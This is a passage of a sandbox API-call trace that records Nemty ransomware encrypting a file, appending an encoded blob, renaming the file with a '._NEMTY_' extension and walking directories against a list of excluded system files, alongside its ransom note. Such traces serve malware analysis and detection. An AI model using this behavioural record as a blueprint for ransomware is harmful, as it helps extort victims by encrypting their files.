pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="N58bMRFCIxJ7KY80BpUdEuCe/iPzQd2km5xD2exYJwfdXLbmzERvsTbLmobY9gBE\r\nahlPbFyiBq8C3da5MP7d3c+M9fiIphoJveAZUyuRaVHQEt270u2fC61IgVm+Jy5p\r\nC0SHMc6LSWHZKL1NVZIVPO+A0H5i5P1q+cxJLYMvkYrZUTecz4z5bQUSO2Dc7yWR\r\nyUMxhPKDkXLQESPCAjKKCteKRkMFUl4Mh/tUUMsZDE2IjP1GbfReD1Yfte0JioaP\r\nILzB+E23z5nL8dAypXLH+CuNTePJQQns+3I2N88iCu6aA35QYud9/14WD240O09f\r\nOnpQGEt67xYKbb5MQHMlVA==\r\n", pcchString=0x653ef9c) returned 1 [0099.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0099.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.433] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0099.434] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=460) returned 1 [0099.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c0) returned 0x63401b8 [0099.434] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.434] ReadFile (in: hFile=0x254, lpBuffer=0x63401b8, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x63401b8*, lpNumberOfBytesRead=0x653f1e4*=0x1c0, lpOverlapped=0x0) returned 1 [0099.435] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.435] WriteFile (in: hFile=0x254, lpBuffer=0x63401b8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x63401b8*, lpNumberOfBytesWritten=0x653f1dc*=0x1c0, lpOverlapped=0x0) returned 1 [0099.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0099.435] SetFilePointer (in: hFile=0x254, lDistanceToMove=460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc [0099.435] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0099.435] CloseHandle (hObject=0x254) returned 1 [0099.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94318 [0099.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94390 [0099.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0099.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins._nemty_kgobjgd_")) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94318 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0099.437] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee75f90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeee75f90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeee75f90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.437] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.437] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.437] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.437] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.437] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.437] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.438] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.439] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee75f90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeee75f90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeee75f90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.439] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.439] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="...") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="rsa") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="NTDETECT.COM") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntldr") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSDOS.SYS") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="IO.SYS") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot.ini") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot.ini") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="desktop.ini") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="CONFIG.SYS") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="RECYCLER") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="programdata") returned 1 [0099.439] lstrcmpiW (lpString1="sqmapi.dll", lpString2="appdata") returned 1 [0099.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.440] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1d0ab0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1d0ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.440] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.441] RtlAllocateHeap 